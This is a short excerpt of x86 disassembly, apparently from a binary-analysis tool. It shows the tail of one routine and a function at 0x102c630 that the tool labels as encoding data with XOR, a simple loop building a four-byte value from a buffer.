sub dl, 0x5c
xor dl, byte [eax + ecx]
xor byte [ebp + eax + 8], dl
sub eax, 1
jne 0x102c605
mov eax, dword [ebp + 8]
xor eax, 0x2d871bcc
mov esp, ebp
pop ebp
ret 4

Function at 0x102c630
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 4], eax
test esi, esi
jbe 0x102c66b
push edi
mov edi, dword [ebp + 8]
lea esp, [esp]
mov dl, byte [ecx + edi]
mov eax, ecx
and eax, 3
xor dl, cl
add byte [ebp + eax - 4], dl
lea eax, [ebp + eax - 4]
inc ecx
cmp ecx, esi
jb 0x102c650
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8